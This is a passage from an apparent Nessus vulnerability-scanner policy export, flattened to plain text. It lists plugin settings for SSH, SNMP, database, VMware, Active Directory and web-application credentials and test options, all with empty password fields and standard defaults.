SSH password (1) : + + + + +14273 +SSH settings +SSH settings[entry]:Additional SSH user name (1) : +entry +Additional SSH user name (1) : + + + + +14273 +SSH settings +SSH settings[entry]:Client version : +entry +Client version : +OpenSSH_5.0 +OpenSSH_5.0 + + +14273 +SSH settings +SSH settings[entry]:Preferred SSH port : +entry +Preferred SSH port : +22 +22 + + +14273 +SSH settings +SSH settings[file]:SSH known_hosts file : +file +SSH known_hosts file : + + + + +14273 +SSH settings +SSH settings[password]:Escalation password : +password +Escalation password : + + + + +14273 +SSH settings +SSH settings[entry]:Escalation account : +entry +Escalation account : +root + + +14273 +SSH settings +SSH settings[entry]:su login : +entry +su login : + + + + +14273 +SSH settings +SSH settings[entry]:Privilege elevation binary path (directory) : +entry +Privilege elevation binary path (directory) : + + + + +14273 +SSH settings +SSH settings[radio]:Elevate privileges with : +radio +Elevate privileges with : +Nothing;sudo;su;su+sudo;dzdo;pbrun;Cisco 'enable' + + +14273 +SSH settings +SSH settings[password]:Passphrase for SSH key : +password +Passphrase for SSH key : + + + + +14273 +SSH settings +SSH settings[file]:SSH private key to use : +file +SSH private key to use : + + + + +14273 +SSH settings +SSH settings[file]:SSH public key to use : +file +SSH public key to use : + + + + +14273 +SSH settings +SSH settings[password]:SSH password (unsafe!) : +password +SSH password (unsafe!) : + + + + +14273 +SSH settings +SSH settings[entry]:SSH user name : +entry +SSH user name : +root + + +15901 +SSL Certificate Expiry +SSL Certificate Expiry[entry]:Identify certificates that expire within x days +entry +Identify certificates that expire within x days +60 +60 + + +16193 +Antivirus Software Check +Antivirus Software Check[entry]:Delay (in days, between 0 and 7) : +entry +Delay (in days, between 0 and 7) : +0 + + +17351 +Kerberos configuration +Kerberos configuration[entry]:Kerberos Realm (SSH only) : +entry +Kerberos Realm (SSH only) : + + + + +17351 +Kerberos configuration +Kerberos configuration[radio]:Kerberos KDC Transport : +radio +Kerberos KDC Transport : +tcp + + +17351 +Kerberos configuration +Kerberos configuration[entry]:Kerberos KDC Port : +entry +Kerberos KDC Port : +88 + + +17351 +Kerberos configuration +Kerberos configuration[entry]:Kerberos Key Distribution Center (KDC) : +entry +Kerberos Key Distribution Center (KDC) : + + + + +19762 +SNMP settings +SNMP settings[radio]:SNMPv3 privacy algorithm (5) : +radio +SNMPv3 privacy algorithm (5) : +AES;DES + + +19762 +SNMP settings +SNMP settings[radio]:SNMPv3 authentication algorithm (5) : +radio +SNMPv3 authentication algorithm (5) : +MD5;SHA1 + + +19762 +SNMP settings +SNMP settings[entry]:SNMPv3 user name (5) : +entry +SNMPv3 user name (5) : + + + + +19762 +SNMP settings +SNMP settings[radio]:SNMPv3 privacy algorithm (4) : +radio +SNMPv3 privacy algorithm (4) : +AES;DES + + +19762 +SNMP settings +SNMP settings[radio]:SNMPv3 authentication algorithm (4) : +radio +SNMPv3 authentication algorithm (4) : +MD5;SHA1 + + +19762 +SNMP settings +SNMP settings[entry]:SNMPv3 user name (4) : +entry +SNMPv3 user name (4) : + + + + +19762 +SNMP settings +SNMP settings[radio]:SNMPv3 privacy algorithm (3) : +radio +SNMPv3 privacy algorithm (3) : +AES;DES + + +19762 +SNMP settings +SNMP settings[radio]:SNMPv3 authentication algorithm (3) : +radio +SNMPv3 authentication algorithm (3) : +MD5;SHA1 + + +19762 +SNMP settings +SNMP settings[entry]:SNMPv3 user name (3) : +entry +SNMPv3 user name (3) : + + + + +19762 +SNMP settings +SNMP settings[radio]:SNMPv3 privacy algorithm (2) : +radio +SNMPv3 privacy algorithm (2) : +AES;DES + + +19762 +SNMP settings +SNMP settings[radio]:SNMPv3 authentication algorithm (2) : +radio +SNMPv3 authentication algorithm (2) : +MD5;SHA1 + + +19762 +SNMP settings +SNMP settings[entry]:SNMPv3 user name (2) : +entry +SNMPv3 user name (2) : + + + + +19762 +SNMP settings +SNMP settings[radio]:SNMPv3 privacy algorithm (1) : +radio +SNMPv3 privacy algorithm (1) : +AES;DES + + +19762 +SNMP settings +SNMP settings[radio]:SNMPv3 authentication algorithm (1) : +radio +SNMPv3 authentication algorithm (1) : +MD5;SHA1 + + +19762 +SNMP settings +SNMP settings[entry]:SNMPv3 user name (1) : +entry +SNMPv3 user name (1) : + + + + +19762 +SNMP settings +SNMP settings[radio]:SNMPv3 privacy algorithm : +radio +SNMPv3 privacy algorithm : +AES;DES + + +19762 +SNMP settings +SNMP settings[password]:SNMPv3 privacy password : +password +SNMPv3 privacy password : + + + + +19762 +SNMP settings +SNMP settings[radio]:SNMPv3 authentication algorithm : +radio +SNMPv3 authentication algorithm : +MD5;SHA1 + + +19762 +SNMP settings +SNMP settings[password]:SNMPv3 authentication password : +password +SNMPv3 authentication password : + + + + +19762 +SNMP settings +SNMP settings[entry]:SNMPv3 user name : +entry +SNMPv3 user name : + + + + +19762 +SNMP settings +SNMP settings[entry]:Additional UDP port (3) : +entry +Additional UDP port (3) : + + +161 + + +19762 +SNMP settings +SNMP settings[entry]:Additional UDP port (2) : +entry +Additional UDP port (2) : + + +161 + + +19762 +SNMP settings +SNMP settings[entry]:Additional UDP port (1) : +entry +Additional UDP port (1) : + + +161 + + +19762 +SNMP settings +SNMP settings[entry]:UDP port : +entry +UDP port : +161 +161 + + +19762 +SNMP settings +SNMP settings[entry]:Community name (3) : +entry +Community name (3) : + + + + +19762 +SNMP settings +SNMP settings[entry]:Community name (2) : +entry +Community name (2) : + + + + +19762 +SNMP settings +SNMP settings[entry]:Community name (1) : +entry +Community name (1) : + + + + +19762 +SNMP settings +SNMP settings[entry]:Community name : +entry +Community name : +public + + +21744 +Cleartext protocols settings +Cleartext protocols settings[checkbox]:Try to perform patch level checks over rexec +checkbox +Try to perform patch level checks over rexec +no +no + + +21744 +Cleartext protocols settings +Cleartext protocols settings[checkbox]:Try to perform patch level checks over rsh +checkbox +Try to perform patch level checks over rsh +no +no + + +21744 +Cleartext protocols settings +Cleartext protocols settings[checkbox]:Try to perform patch level checks over telnet +checkbox +Try to perform patch level checks over telnet +no +no + + +21744 +Cleartext protocols settings +Cleartext protocols settings[password]:Password (unsafe!) : +password +Password (unsafe!) : + + + + +21744 +Cleartext protocols settings +Cleartext protocols settings[entry]:User name : +entry +User name : + + + + +22076 +Oracle Settings +Oracle Settings[checkbox]:Test default accounts (slow) +checkbox +Test default accounts (slow) +no +yes + + +22076 +Oracle Settings +Oracle Settings[entry]:Oracle SID : +entry +Oracle SID : + + + + +22076 +Oracle Settings +Oracle Settings[radio]:Oracle service type : +radio +Oracle service type : +SID;SERVICE_NAME + + +22481 +Do not scan fragile devices +Do not scan fragile devices[checkbox]:Scan Operational Technology devices +checkbox +Scan Operational Technology devices +yes +no + + +22481 +Do not scan fragile devices +Do not scan fragile devices[checkbox]:Scan Novell Netware hosts +checkbox +Scan Novell Netware hosts +no +no + + +22481 +Do not scan fragile devices +Do not scan fragile devices[checkbox]:Scan Network Printers +checkbox +Scan Network Printers +no +no + + +22964 +Service Detection +Service Detection[radio]:Test SSL based services +radio +Test SSL based services +All ports + + +33812 +Port scanners settings +Port scanners settings[checkbox]:Only run network port scanners if local port enumeration failed +checkbox +Only run network port scanners if local port enumeration failed +yes +yes + + +33812 +Port scanners settings +Port scanners settings[checkbox]:Check open TCP ports found by local port enumerators +checkbox +Check open TCP ports found by local port enumerators +no +no + + +33815 +Database settings +Database settings[radio]:Additional Sybase ASE auth type (4) : +radio +Additional Sybase ASE auth type (4) : +RSA;Plain Text + + +33815 +Database settings +Database settings[radio]:Additional SQL Server auth type (4) : +radio +Additional SQL Server auth type (4) : +Windows;SQL + + +33815 +Database settings +Database settings[radio]:Additional Oracle auth type (4) : +radio +Additional Oracle auth type (4) : +NORMAL;SYSOPER;SYSDBA + + +33815 +Database settings +Database settings[password]:Additional Password (4) : +password +Additional Password (4) : + + + + +33815 +Database settings +Database settings[entry]:Additional Login (4) : +entry +Additional Login (4) : + + + + +33815 +Database settings +Database settings[entry]:Additional Database port to use (4) : +entry +Additional Database port to use (4) : + + + + +33815 +Database settings +Database settings[entry]:Additional Database SID (4) : +entry +Additional Database SID (4) : + + + + +33815 +Database settings +Database settings[radio]:Additional Database service type (4) : +radio +Additional Database service type (4) : +SID;SERVICE_NAME + + +33815 +Database settings +Database settings[radio]:Additional DB Type (4) : +radio +Additional DB Type (4) : +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + + +33815 +Database settings +Database settings[radio]:Additional Sybase ASE auth type (3) : +radio +Additional Sybase ASE auth type (3) : +RSA;Plain Text + + +33815 +Database settings +Database settings[radio]:Additional SQL Server auth type (3) : +radio +Additional SQL Server auth type (3) : +Windows;SQL + + +33815 +Database settings +Database settings[radio]:Additional Oracle auth type (3) : +radio +Additional Oracle auth type (3) : +NORMAL;SYSOPER;SYSDBA + + +33815 +Database settings +Database settings[password]:Additional Password (3) : +password +Additional Password (3) : + + + + +33815 +Database settings +Database settings[entry]:Additional Login (3) : +entry +Additional Login (3) : + + + + +33815 +Database settings +Database settings[entry]:Additional Database port to use (3) : +entry +Additional Database port to use (3) : + + + + +33815 +Database settings +Database settings[entry]:Additional Database SID (3) : +entry +Additional Database SID (3) : + + + + +33815 +Database settings +Database settings[radio]:Additional Database service type (3) : +radio +Additional Database service type (3) : +SID;SERVICE_NAME + + +33815 +Database settings +Database settings[radio]:Additional DB Type (3) : +radio +Additional DB Type (3) : +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + + +33815 +Database settings +Database settings[radio]:Additional Sybase ASE auth type (2) : +radio +Additional Sybase ASE auth type (2) : +RSA;Plain Text + + +33815 +Database settings +Database settings[radio]:Additional SQL Server auth type (2) : +radio +Additional SQL Server auth type (2) : +Windows;SQL + + +33815 +Database settings +Database settings[radio]:Additional Oracle auth type (2) : +radio +Additional Oracle auth type (2) : +NORMAL;SYSOPER;SYSDBA + + +33815 +Database settings +Database settings[password]:Additional Password (2) : +password +Additional Password (2) : + + + + +33815 +Database settings +Database settings[entry]:Additional Login (2) : +entry +Additional Login (2) : + + + + +33815 +Database settings +Database settings[entry]:Additional Database port to use (2) : +entry +Additional Database port to use (2) : + + + + +33815 +Database settings +Database settings[entry]:Additional Database SID (2) : +entry +Additional Database SID (2) : + + + + +33815 +Database settings +Database settings[radio]:Additional Database service type (2) : +radio +Additional Database service type (2) : +SID;SERVICE_NAME + + +33815 +Database settings +Database settings[radio]:Additional DB Type (2) : +radio +Additional DB Type (2) : +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + + +33815 +Database settings +Database settings[radio]:Additional Sybase ASE auth type (1) : +radio +Additional Sybase ASE auth type (1) : +RSA;Plain Text + + +33815 +Database settings +Database settings[radio]:Additional SQL Server auth type (1) : +radio +Additional SQL Server auth type (1) : +Windows;SQL + + +33815 +Database settings +Database settings[radio]:Additional Oracle auth type (1) : +radio +Additional Oracle auth type (1) : +NORMAL;SYSOPER;SYSDBA + + +33815 +Database settings +Database settings[password]:Additional Password (1) : +password +Additional Password (1) : + + + + +33815 +Database settings +Database settings[entry]:Additional Login (1) : +entry +Additional Login (1) : + + + + +33815 +Database settings +Database settings[entry]:Additional Database port to use (1) : +entry +Additional Database port to use (1) : + + + + +33815 +Database settings +Database settings[entry]:Additional Database SID (1) : +entry +Additional Database SID (1) : + + + + +33815 +Database settings +Database settings[radio]:Additional Database service type (1) : +radio +Additional Database service type (1) : +SID;SERVICE_NAME + + +33815 +Database settings +Database settings[radio]:Additional DB Type (1) : +radio +Additional DB Type (1) : +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + + +33815 +Database settings +Database settings[radio]:Sybase ASE auth type: +radio +Sybase ASE auth type: +RSA;Plain Text + + +33815 +Database settings +Database settings[radio]:SQL Server auth type: +radio +SQL Server auth type: +Windows;SQL + + +33815 +Database settings +Database settings[radio]:Oracle auth type: +radio +Oracle auth type: +NORMAL;SYSOPER;SYSDBA + + +33815 +Database settings +Database settings[password]:Password : +password +Password : + + + + +33815 +Database settings +Database settings[entry]:Login : +entry +Login : + + + + +33815 +Database settings +Database settings[entry]:Database port to use : +entry +Database port to use : + + + + +33815 +Database settings +Database settings[entry]:Database SID : +entry +Database SID : + + + + +33815 +Database settings +Database settings[radio]:Database service type : +radio +Database service type : +SID;SERVICE_NAME + + +33815 +Database settings +Database settings[radio]:DB Type : +radio +DB Type : +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + + +33929 +PCI DSS compliance +PCI DSS compliance[checkbox]:Check for PCI-DSS compliance +checkbox +Check for PCI-DSS compliance +no + + +35703 +SMB Registry : Start the Registry Service during the scan +SMB Registry : Start the Registry Service during the scan[checkbox]:Enable administrative shares during the scan +checkbox +Enable administrative shares during the scan +no +no + + +35703 +SMB Registry : Start the Registry Service during the scan +SMB Registry : Start the Registry Service during the scan[checkbox]:Start the registry service during the scan +checkbox +Start the registry service during the scan +no +no + + +39471 +Web Application Tests Settings +Web Application Tests Settings[entry]:URL for Remote File Inclusion : +entry +URL for Remote File Inclusion : +http://rfi.nessus.org/rfi.txt + + +39471 +Web Application Tests Settings +Web Application Tests Settings[checkbox]:Test embedded web servers +checkbox +Test embedded web servers +no + + +39471 +Web Application Tests Settings +Web Application Tests Settings[radio]:Stop at first flaw +radio +Stop at first flaw +per CGI;per port (quicker);per parameter (slow);look for all flaws (slower) + + +39471 +Web Application Tests Settings +Web Application Tests Settings[checkbox]:HTTP Parameter Pollution +checkbox +HTTP Parameter Pollution +no + + +39471 +Web Application Tests Settings +Web Application Tests Settings[radio]:Combinations of arguments values +radio +Combinations of arguments values +one value;some pairs;all pairs (slower but efficient);some combinations;all combinations (extremely slow) + + +39471 +Web Application Tests Settings +Web Application Tests Settings[checkbox]:Try all HTTP methods +checkbox +Try all HTTP methods +no + + +39471 +Web Application Tests Settings +Web Application Tests Settings[entry]:Maximum run time (min) : +entry +Maximum run time (min) : +60 + + +39471 +Web Application Tests Settings +Web Application Tests Settings[checkbox]:Enable web applications tests +checkbox +Enable web applications tests +no + + +42893 +HTTP cookies import +HTTP cookies import[file]:Cookies file : +file +Cookies file : + + + + +52616 +Wake-on-LAN +Wake-on-LAN[entry]:Time to wait (in minutes) for the systems to boot: +entry +Time to wait (in minutes) for the systems to boot: +5 +5 + + +52616 +Wake-on-LAN +Wake-on-LAN[file]:List of MAC addresses for Wake-on-LAN: +file +List of MAC addresses for Wake-on-LAN: + + + + +57029 +Patch Management: SCCM Server Settings +Patch Management: SCCM Server Settings[password]:SCCM Password : +password +SCCM Password : + + + + +57029 +Patch Management: SCCM Server Settings +Patch Management: SCCM Server Settings[entry]:SCCM Username : +entry +SCCM Username : + + + + +57029 +Patch Management: SCCM Server Settings +Patch Management: SCCM Server Settings[entry]:SCCM Domain : +entry +SCCM Domain : + + + + +57029 +Patch Management: SCCM Server Settings +Patch Management: SCCM Server Settings[entry]:SCCM Server : +entry +SCCM Server : + + + + +57031 +Patch Management: WSUS Server Settings +Patch Management: WSUS Server Settings[checkbox]:Verify SSL Certificate : +checkbox +Verify SSL Certificate : +no + + +57031 +Patch Management: WSUS Server Settings +Patch Management: WSUS Server Settings[checkbox]:SSL : +checkbox +SSL : +no + + +57031 +Patch Management: WSUS Server Settings +Patch Management: WSUS Server Settings[password]:WSUS Password : +password +WSUS Password : + + + + +57031 +Patch Management: WSUS Server Settings +Patch Management: WSUS Server Settings[entry]:WSUS Username : +entry +WSUS Username : + + + + +57031 +Patch Management: WSUS Server Settings +Patch Management: WSUS Server Settings[entry]:WSUS Port : +entry +WSUS Port : + + + + +57031 +Patch Management: WSUS Server Settings +Patch Management: WSUS Server Settings[entry]:WSUS Server : +entry +WSUS Server : + + + + +57395 +VMware SOAP API Settings +VMware SOAP API Settings[checkbox]:Additional Ignore SSL Certificate (5) : +checkbox +Additional Ignore SSL Certificate (5) : +no + + +57395 +VMware SOAP API Settings +VMware SOAP API Settings[password]:Additional VMware password (5) : +password +Additional VMware password (5) : + + + + +57395 +VMware SOAP API Settings +VMware SOAP API Settings[entry]:Additional VMware user name (5) : +entry +Additional VMware user name (5) : + + + + +57395 +VMware SOAP API Settings +VMware SOAP API Settings[checkbox]:Additional Ignore SSL Certificate (4) : +checkbox +Additional Ignore SSL Certificate (4) : +no + + +57395 +VMware SOAP API Settings +VMware SOAP API Settings[password]:Additional VMware password (4) : +password +Additional VMware password (4) : + + + + +57395 +VMware SOAP API Settings +VMware SOAP API Settings[entry]:Additional VMware user name (4) : +entry +Additional VMware user name (4) : + + + + +57395 +VMware SOAP API Settings +VMware SOAP API Settings[checkbox]:Additional Ignore SSL Certificate (3) : +checkbox +Additional Ignore SSL Certificate (3) : +no + + +57395 +VMware SOAP API Settings +VMware SOAP API Settings[password]:Additional VMware password (3) : +password +Additional VMware password (3) : + + + + +57395 +VMware SOAP API Settings +VMware SOAP API Settings[entry]:Additional VMware user name (3) : +entry +Additional VMware user name (3) : + + + + +57395 +VMware SOAP API Settings +VMware SOAP API Settings[checkbox]:Additional Ignore SSL Certificate (2) : +checkbox +Additional Ignore SSL Certificate (2) : +no + + +57395 +VMware SOAP API Settings +VMware SOAP API Settings[password]:Additional VMware password (2) : +password +Additional VMware password (2) : + + + + +57395 +VMware SOAP API Settings +VMware SOAP API Settings[entry]:Additional VMware user name (2) : +entry +Additional VMware user name (2) : + + + + +57395 +VMware SOAP API Settings +VMware SOAP API Settings[checkbox]:Additional Ignore SSL Certificate (1) : +checkbox +Additional Ignore SSL Certificate (1) : +no + + +57395 +VMware SOAP API Settings +VMware SOAP API Settings[password]:Additional VMware password (1) : +password +Additional VMware password (1) : + + + + +57395 +VMware SOAP API Settings +VMware SOAP API Settings[entry]:Additional VMware user name (1) : +entry +Additional VMware user name (1) : + + + + +57395 +VMware SOAP API Settings +VMware SOAP API Settings[checkbox]:Ignore SSL Certificate : +checkbox +Ignore SSL Certificate : +no + + +57395 +VMware SOAP API Settings +VMware SOAP API Settings[password]:VMware password : +password +VMware password : + + + + +57395 +VMware SOAP API Settings +VMware SOAP API Settings[entry]:VMware user name : +entry +VMware user name : + + + + +57861 +IBM iSeries Credentials +IBM iSeries Credentials[password]:Password : +password +Password : + + + + +57861 +IBM iSeries Credentials +IBM iSeries Credentials[entry]:Login : +entry +Login : + + + + +58038 +LDAP 'Domain Admins' Group Membership Enumeration +LDAP 'Domain Admins' Group Membership Enumeration[entry]:Max results : +entry +Max results : +1000 + + +58038 +LDAP 'Domain Admins' Group Membership Enumeration +LDAP 'Domain Admins' Group Membership Enumeration[password]:LDAP password : +password +LDAP password : + + + + +58038 +LDAP 'Domain Admins' Group Membership Enumeration +LDAP 'Domain Admins' Group Membership Enumeration[entry]:LDAP user : +entry +LDAP user : + + + + +58430 +Active Outbound Connection to Host Listed in Known Bot Database +Active Outbound Connection to Host Listed in Known Bot Database[file]:Custom Netstat IP Threat List : +file +Custom Netstat IP Threat List : + + + + +59275 +Malicious Process Detection +Malicious Process Detection[checkbox]:enable_malware_scanning +checkbox +enable_malware_scanning +no +no + + +59275 +Malicious Process Detection +Malicious Process Detection[checkbox]:disable_dns_resolution +checkbox +disable_dns_resolution +no + + +59275 +Malicious Process Detection +Malicious Process Detection[file]:Yara rules file : +file +Yara rules file : + + + + +59275 +Malicious Process Detection +Malicious Process Detection[file]:Known good MD5 hashes (optional) : +file +Known good MD5 hashes (optional) : + + + + +59275 +Malicious Process Detection +Malicious Process Detection[file]:Additional MD5 hashes (optional) : +file +Additional MD5 hashes (optional) : + + + + +60024 +ADSI Settings +ADSI Settings[password]:Domain Password 5: +password +Domain Password 5: + + + + +60024 +ADSI Settings +ADSI Settings[entry]:Domain Username 5: +entry +Domain Username 5: + + + + +60024 +ADSI Settings +ADSI Settings[entry]:Domain 5: +entry +Domain 5: + + + + +60024 +ADSI Settings +ADSI Settings[entry]:Domain Controller 5: +entry +Domain Controller 5: + + + + +60024 +ADSI Settings +ADSI Settings[password]:Domain Password 4: +password +Domain Password 4: + + + + +60024 +ADSI Settings +ADSI Settings[entry]:Domain Username 4: +entry +Domain Username 4: + + + + +60024 +ADSI Settings +ADSI Settings[entry]:Domain 4: +entry +Domain 4: + + + + +60024 +ADSI Settings +ADSI Settings[entry]:Domain Controller 4: +entry +Domain Controller 4: + + + + +60024 +ADSI Settings +ADSI Settings[password]:Domain Password 3: +password +Domain Password 3: + + + + +60024 +ADSI Settings +ADSI Settings[entry]:Domain Username 3: +entry +Domain Username 3: + + + + +60024 +ADSI Settings +ADSI Settings[entry]:Domain 3: +entry +Domain 3: + + + + +60024 +ADSI Settings +ADSI Settings[entry]:Domain Controller 3: +entry +Domain Controller 3: + + + + +60024 +ADSI Settings +ADSI Settings[password]:Domain Password 2: +password +Domain Password 2: + + + + +60024 +ADSI Settings +ADSI Settings[entry]:Domain Username 2: +entry +Domain Username 2: + + + + +60024 +ADSI Settings +ADSI Settings[entry]:Domain 2: +entry +Domain 2: + + + + +60024 +ADSI Settings +ADSI Settings[entry]:Domain Controller 2: +entry +Domain Controller 2: + + + + +60024 +ADSI Settings +ADSI Settings[password]:Domain Password : +password +Domain Password : + + + + +60024 +ADSI Settings +ADSI Settings[entry]:Domain Username : +entry +Domain Username : + + + + +60024 +ADSI Settings +ADSI Settings[entry]:Domain : +entry +Domain : + + + + +60024 +ADSI Settings +ADSI Settings[entry]:Domain Controller : +entry +Domain Controller : + + + + +60032 +Apple Profile Manager API Settings +Apple Profile Manager API Settings[entry]:Device Update Timeout (Minutes) : +entry +Device Update Timeout (Minutes) : +5 + + +60032 +Apple Profile Manager API Settings +Apple Profile Manager API Settings[checkbox]:Force Device Updates : +checkbox +Force Device Updates : +yes + + +60032 +Apple Profile Manager API Settings +Apple Profile Manager API Settings[checkbox]:Verify SSL Certificate : +checkbox +Verify SSL Certificate : +no + + +60032 +Apple Profile Manager API Settings +Apple Profile Manager API Settings[checkbox]:SSL : +checkbox +SSL : +yes + + +60032 +Apple Profile Manager API Settings +Apple Profile Manager API Settings[password]:Apple Profile Manager password : +password +Apple Profile Manager password : + + + + +60032 +Apple Profile Manager API Settings +Apple Profile Manager API Settings[entry]:Apple Profile Manager username : +entry +Apple Profile Manager username : + + + + +60032 +Apple Profile Manager API Settings +Apple Profile Manager API Settings[entry]:Apple Profile Manager port : +entry +Apple Profile Manager port : +443 + + +60032 +Apple Profile Manager API Settings +Apple Profile Manager API Settings[entry]:Apple Profile Manager server : +entry +Apple Profile Manager server : + + + + +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings +Patch Management: IBM Tivoli Endpoint Manager Server Settings[checkbox]:Verify SSL Certificate : +checkbox +Verify SSL Certificate : +no + + +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings +Patch Management: IBM Tivoli Endpoint Manager Server Settings[checkbox]:SSL : +checkbox +SSL : +no + + +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings +Patch Management: IBM Tivoli Endpoint Manager Server Settings[password]:Web Reports Password : +password +Web Reports Password : + + + + +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings +Patch Management: IBM Tivoli Endpoint Manager Server Settings[entry]:Web Reports Username : +entry +Web Reports Username : + + + + +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings +Patch Management: IBM Tivoli Endpoint Manager Server Settings[entry]:Web Reports Port : +entry +Web Reports Port : + + + + +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings +Patch Management: IBM Tivoli Endpoint Manager Server Settings[entry]:Web Reports Server : +entry +Web Reports Server : + + + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[checkbox]:Additional Verify SSL Certificate (5) : +checkbox +Additional Verify SSL Certificate (5) : +no + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[checkbox]:Additional SSL (5) : +checkbox +Additional SSL (5) : +yes + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[password]:Additional VMware vCenter password (5) : +password +Additional VMware vCenter password (5) : + + + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[entry]:Additional VMware vCenter user name (5) : +entry +Additional VMware vCenter user name (5) : + + + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[entry]:Additional VMware vCenter port (5) : +entry +Additional VMware vCenter port (5) : +443 + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[entry]:Additional VMware vCenter host (5) : +entry +Additional VMware vCenter host (5) : + + + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[checkbox]:Additional Verify SSL Certificate (4) : +checkbox +Additional Verify SSL Certificate (4) : +no + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[checkbox]:Additional SSL (4) : +checkbox +Additional SSL (4) : +yes + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[password]:Additional VMware vCenter password (4) : +password +Additional VMware vCenter password (4) : + + + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[entry]:Additional VMware vCenter user name (4) : +entry +Additional VMware vCenter user name (4) : + + + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[entry]:Additional VMware vCenter port (4) : +entry +Additional VMware vCenter port (4) : +443 + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[entry]:Additional VMware vCenter host (4) : +entry +Additional VMware vCenter host (4) : + + + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[checkbox]:Additional Verify SSL Certificate (3) : +checkbox +Additional Verify SSL Certificate (3) : +no + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[checkbox]:Additional SSL (3) : +checkbox +Additional SSL (3) : +yes + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[password]:Additional VMware vCenter password (3) : +password +Additional VMware vCenter password (3) : + + + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[entry]:Additional VMware vCenter user name (3) : +entry +Additional VMware vCenter user name (3) : + + + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[entry]:Additional VMware vCenter port (3) : +entry +Additional VMware vCenter port (3) : +443 + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[entry]:Additional VMware vCenter host (3) : +entry +Additional VMware vCenter host (3) : + + + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[checkbox]:Additional Verify SSL Certificate (2) : +checkbox +Additional Verify SSL Certificate (2) : +no + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[checkbox]:Additional SSL (2) : +checkbox +Additional SSL (2) : +yes + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[password]:Additional VMware vCenter password (2) : +password +Additional VMware vCenter password (2) : + + + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[entry]:Additional VMware vCenter user name (2) : +entry +Additional VMware vCenter user name (2) : + + + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[entry]:Additional VMware vCenter port (2) : +entry +Additional VMware vCenter port (2) : +443 + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[entry]:Additional VMware vCenter host (2) : +entry +Additional VMware vCenter host (2) : + + + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[checkbox]:Additional Auto Discover Managed Virtual Machines : +checkbox +Additional Auto Discover Managed Virtual Machines : +no + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[checkbox]:Additional Auto Discover Managed ESXi Hosts : +checkbox +Additional Auto Discover Managed ESXi Hosts : +no + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[checkbox]:Additional Verify SSL Certificate (1) : +checkbox +Additional Verify SSL Certificate (1) : +no + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[checkbox]:Additional SSL (1) : +checkbox +Additional SSL (1) : +yes + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[password]:Additional VMware vCenter password (1) : +password +Additional VMware vCenter password (1) : + + + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[entry]:Additional VMware vCenter user name (1) : +entry +Additional VMware vCenter user name (1) : + + + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[entry]:Additional VMware vCenter port (1) : +entry +Additional VMware vCenter port (1) : +443 + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[entry]:Additional VMware vCenter host (1) : +entry +Additional VMware vCenter host (1) : + + + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[checkbox]:Auto Discover Managed Virtual Machines : +checkbox +Auto Discover Managed Virtual Machines : +no + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[checkbox]:Auto Discover Managed ESXi Hosts : +checkbox +Auto Discover Managed ESXi Hosts : +no + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[checkbox]:Verify SSL Certificate : +checkbox +Verify SSL Certificate : +no + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[checkbox]:SSL : +checkbox +SSL : +yes + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[password]:VMware vCenter password : +password +VMware vCenter password : + + + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[entry]:VMware vCenter user name : +entry +VMware vCenter user name : + + + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[entry]:VMware vCenter port : +entry +VMware vCenter port : +443 + + +63060 +VMware vCenter SOAP API Settings +VMware vCenter SOAP API Settings[entry]:VMware vCenter host 